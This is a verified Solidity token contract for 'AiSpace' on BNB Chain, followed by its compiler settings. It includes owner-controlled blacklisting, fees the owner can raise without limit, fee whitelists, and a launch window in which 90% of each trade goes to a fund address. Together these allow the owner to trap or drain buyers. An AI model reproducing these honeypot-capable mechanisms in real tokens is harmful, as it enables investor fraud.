/**
 *Submitted for verification at BscScan.com on 2022-11-11
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// interface ISwapRouter {
//     function factory() external pure returns (address);

//     function WETH() external pure returns (address);

//     function swapExactTokensForTokensSupportingFeeOnTransferTokens(
//         uint amountIn,
//         uint amountOutMin,
//         address[] calldata path,
//         address to,
//         address referrer,
//         uint deadline
//     ) external;

//     function addLiquidity(
//         address tokenA,
//         address tokenB,
//         uint amountADesired,
//         uint amountBDesired,
//         uint amountAMin,
//         uint amountBMin,
//         address to,
//         uint deadline
//     ) external returns (uint amountA, uint amountB, uint liquidity);
// }

interface ISwapRouter  {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        address referrer,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

}

interface ISwapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);

    function owner() external view returns (address);
    function feePercentOwner() external view returns (address);
    function setStableOwner() external view returns (address);
    function feeTo() external view returns (address);

    function ownerFeeShare() external view returns (uint256);
    function referrersFeeShare(address) external view returns (uint256);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint256) external view returns (address pair);
    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function feeInfo() external view returns (uint _ownerFeeShare, address _feeTo);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    constructor (address token) {
        IERC20(token).approve(msg.sender, uint(~uint256(0)));
    }
}

abstract contract AbsToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;
    address public factoryAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 public kb = 5;
    uint256 public maxSellAmount;
    uint256 public maxBuyAmount;
    uint256 public walletLimit;
    bool public limitEnable = false;  //limit trasfer
    bool public limitBuyEnable = true;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;
    mapping(address => bool) public isMaxEatExempt;

    uint256 private _tTotal;

    ISwapRouter public _swapRouter;
    ISwapFactory public _swapFactory;

    address public _usdt;
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);
    TokenDistributor public _tokenDistributor;

    uint256 public _buyFundFee = 300;
    uint256 public _buyLPDividendFee = 0;
    uint256 public _sellLPDividendFee = 300;
    uint256 public _sellFundFee = 0;
    uint256 public _sellLPFee = 200;

    uint256 public goMoonBlock;

    address public _mainPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress,address FactoryAddress,address USDTAddress,
        string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply,
        address FundAddress
    ){
        address ReceiveAddress = msg.sender;

        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;

        ISwapFactory swapFactory = ISwapFactory(FactoryAddress);
        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        IERC20(USDTAddress).approve(address(swapRouter), MAX);
        _usdt = USDTAddress;
        _swapRouter = swapRouter;
        _swapFactory = swapFactory;
        _allowances[address(this)][address(swapRouter)] = MAX;

        // ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        // address swapPair = swapFactory.createPair(address(this), USDTAddress);
        // _mainPair = swapPair;
        // _swapPairList[swapPair] = true;

        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        maxBuyAmount = total;
        maxSellAmount = total;
        walletLimit = 15 * 10 ** Decimals;

        _balances[ReceiveAddress] = total;
        emit Transfer(address(0), ReceiveAddress, total);

        fundAddress = FundAddress;

        _feeWhiteList[FundAddress] = true;
        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;

        isMaxEatExempt[msg.sender] = true;
        isMaxEatExempt[fundAddress] = true;
        isMaxEatExempt[ReceiveAddress] = true;
        isMaxEatExempt[address(swapRouter)] = true;
//        isMaxEatExempt[address(_mainPair)] = true;
        isMaxEatExempt[address(this)] = true;
        isMaxEatExempt[address(0xdead)] = true;

        excludeHolder[address(0)] = true;
        excludeHolder[address(0x000000000000000000000000000000000000dEaD)] = true;

        holderRewardCondition = 10 * 5 ** IERC20(USDTAddress).decimals();
        _tokenDistributor = new TokenDistributor(USDTAddress);
    }

    function initializePair() external onlyOwner {
        address swapPair = _swapFactory.createPair(address(this), _usdt);
        _mainPair = swapPair;
        _swapPairList[swapPair] = true;
        isMaxEatExempt[address(_mainPair)] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMaxAmount(uint256 _maxBuyAmount, uint256 _maxSellAmount, uint256 _walletLimit) public onlyOwner {
        maxBuyAmount = _maxBuyAmount;
        maxSellAmount = _maxSellAmount;
        walletLimit = _walletLimit;
    }

    function setLimitEnable(bool status) public onlyOwner {
        limitEnable = status;
    }

    function setLimitBuyEnable(bool status) public onlyOwner {
        limitBuyEnable = status;
    }

    function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
        isMaxEatExempt[holder] = exempt;
    }

    function setkb(uint256 a) public onlyOwner {
        kb = a;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_blackList[from], "blackList");

        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool isSell;

        //airdrop
        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            address ad;
            for (int i = 0; i <= 2; i++) {
                ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                _basicTransfer(from, ad, 100);
            }
            amount -= 300;
        }

        if (_swapPairList[from] || _swapPairList[to]) {

            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {

                if (limitBuyEnable) {
                    if (0 == goMoonBlock) {
                        require(0 < goAddLPBlock && _swapPairList[to], "!goAddLP");
                    }

                    if (block.number < goMoonBlock + kb) {
                        _funTransfer(from, to, amount);
                        return;
                    }
                }


                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance > 0) {
                            uint256 swapFee = _buyFundFee + _buyLPDividendFee + _sellFundFee + _sellLPDividendFee + _sellLPFee;
                            uint256 numTokensSellToFund = amount * swapFee * 2 / 10000;
                            if (numTokensSellToFund > contractTokenBalance) {
                                numTokensSellToFund = contractTokenBalance;
                            }
                            swapTokenForFund(numTokensSellToFund, swapFee);
                        }
                    }
                }
                takeFee = true;
            }

            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);

        if (from != address(this)) {
            if (isSell) {
                addHolder(from);
            }
            processReward(500000);
        }
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 90 / 100;
        _takeTransfer(
            sender,
            fundAddress,
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellFundFee + _sellLPDividendFee + _sellLPFee;
                require(tAmount <= maxSellAmount, "over max sell amount");
            } else {
                swapFee = _buyFundFee + _buyLPDividendFee;
                require(tAmount <= maxBuyAmount, "over max buy amount");
            }

            uint256 swapAmount = tAmount * swapFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        if (!isMaxEatExempt[recipient] && limitEnable)
            require((balanceOf(recipient) + tAmount - feeAmount) <= walletLimit, "over max wallet limit");

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        swapFee += swapFee;
        uint256 lpFee = _sellLPFee;
        uint256 lpAmount = tokenAmount * lpFee / swapFee;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _usdt;

        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount - lpAmount,
            0,
            path,
            address(_tokenDistributor),
            fundAddress,
            block.timestamp
        );

        swapFee -= lpFee;

        IERC20 USDT = IERC20(_usdt);
        uint256 usdtBalance = USDT.balanceOf(address(_tokenDistributor));
        uint256 fundAmount = usdtBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee;
        USDT.transferFrom(address(_tokenDistributor), fundAddress, fundAmount);
        USDT.transferFrom(address(_tokenDistributor), address(this), usdtBalance - fundAmount);

        if (lpAmount > 0) {
            uint256 lpFist = usdtBalance * lpFee / swapFee;
            if (lpFist > 0) {
                _swapRouter.addLiquidity(
                    address(this), _usdt, lpAmount, lpFist, 0, 0, fundAddress, block.timestamp
                );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setFundAddress(address addr) external onlyFunder {
        fundAddress = addr;
        _feeWhiteList[addr] = true;
    }

    function setMainPairAddress(address addr) external onlyFunder {
        _mainPair = addr;
    }

    function setBuyLPDividendFee(uint256 dividendFee) external onlyOwner {
        _buyLPDividendFee = dividendFee;
    }

    function setBuyFundFee(uint256 fundFee) external onlyOwner {
        _buyFundFee = fundFee;
    }

    function setSellLPDividendFee(uint256 dividendFee) external onlyOwner {
        _sellLPDividendFee = dividendFee;
    }

    function setSellFundFee(uint256 fundFee) external onlyOwner {
        _sellFundFee = fundFee;
    }

    function setSellLPFee(uint256 lpFee) external onlyOwner {
        _sellLPFee = lpFee;
    }

    uint256 public goAddLPBlock;

    function goAddLP() external onlyOwner {
        require(0 == goAddLPBlock, "startedAddLP");
        goAddLPBlock = block.number;
    }

    function returnAddLP() external onlyOwner {
        goAddLPBlock = 0;
    }

    function goMoon() external onlyOwner {
        require(0 == goMoonBlock, "trading");
        goMoonBlock = block.number;
    }

    function returnMoon() external onlyOwner {
        goMoonBlock = 0;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyFunder {
        _feeWhiteList[addr] = enable;
    }

    function setBlackList(address addr, bool enable) external onlyOwner {
        _blackList[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyFunder {
        _swapPairList[addr] = enable;
    }

    function claimBalance() external {
        payable(fundAddress).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount, address to) external onlyFunder {
        IERC20(token).transfer(to, amount);
    }

    modifier onlyFunder() {
        require(fundAddress == msg.sender || _owner == msg.sender, "!Funder");
        _;
    }

    receive() external payable {}

    address[] private holders;
    mapping(address => uint256) holderIndex;
    mapping(address => bool) excludeHolder;

    function addHolder(address adr) private {
        uint256 size;
        assembly {size := extcodesize(adr)}
        if (size > 0) {
            return;
        }
        if (0 == holderIndex[adr]) {
            if (0 == holders.length || holders[0] != adr) {
                holderIndex[adr] = holders.length;
                holders.push(adr);
            }
        }
    }

    function manage_wl(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _feeWhiteList[addresses[i]] = status;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
        require(addresses.length < 2001);
        uint256 SCCC = amount * addresses.length;
        require(balanceOf(msg.sender) >= SCCC);
        for (uint i = 0; i < addresses.length; i++) {
            _basicTransfer(msg.sender, addresses[i], amount);
        }
    }

    function manage_bl(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _blackList[addresses[i]] = status;
        }
    }

    uint256 private currentIndex;
    uint256 private holderRewardCondition;
    uint256 private progressRewardBlock;

    function processReward(uint256 gas) private {
        if (progressRewardBlock + 20 > block.number) {
            return;
        }

        IERC20 USDT = IERC20(_usdt);
        uint256 balance = USDT.balanceOf(address(this));
        if (balance < holderRewardCondition) {
            return;
        }

        IERC20 holdToken = IERC20(_mainPair);
        uint holdTokenTotal = holdToken.totalSupply();

        address shareHolder;
        uint256 tokenBalance;
        uint256 amount;

        uint256 shareholderCount = holders.length;

        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();

        while (gasUsed < gas && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
            }
            shareHolder = holders[currentIndex];
            tokenBalance = holdToken.balanceOf(shareHolder);
            if (tokenBalance > 0 && !excludeHolder[shareHolder]) {
                amount = balance * tokenBalance / holdTokenTotal;
                if (amount > 0) {
                    USDT.transfer(shareHolder, amount);
                }
            }

            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }

        progressRewardBlock = block.number;
    }

    function setHolderRewardCondition(uint256 amount) external onlyFunder {
        holderRewardCondition = amount;
    }

    function setExcludeHolder(address addr, bool enable) external onlyFunder {
        excludeHolder[addr] = enable;
    }
}


contract AiSpace is AbsToken {
    constructor() AbsToken(
        address(0xc873fEcbd354f5A56E00E710B90EF4201db2448d), // RouterAddress
        address(0x6EcCab422D763aC031210895C81787E87B43A652), // RouterAddress
        address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9), // USDTAddress
        "AiSpace", //Name
        "AiSpace", //Symbol
        9, //Decimals
        666_660_000_000_000_000_000, //Supply
        address(0x46870468618452B362B112Bf22223B674d67030C) // FundAddress
    ){
    }
}

{
  "compilationTarget": {
    "contracts/AiSpace.sol": "AiSpace"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}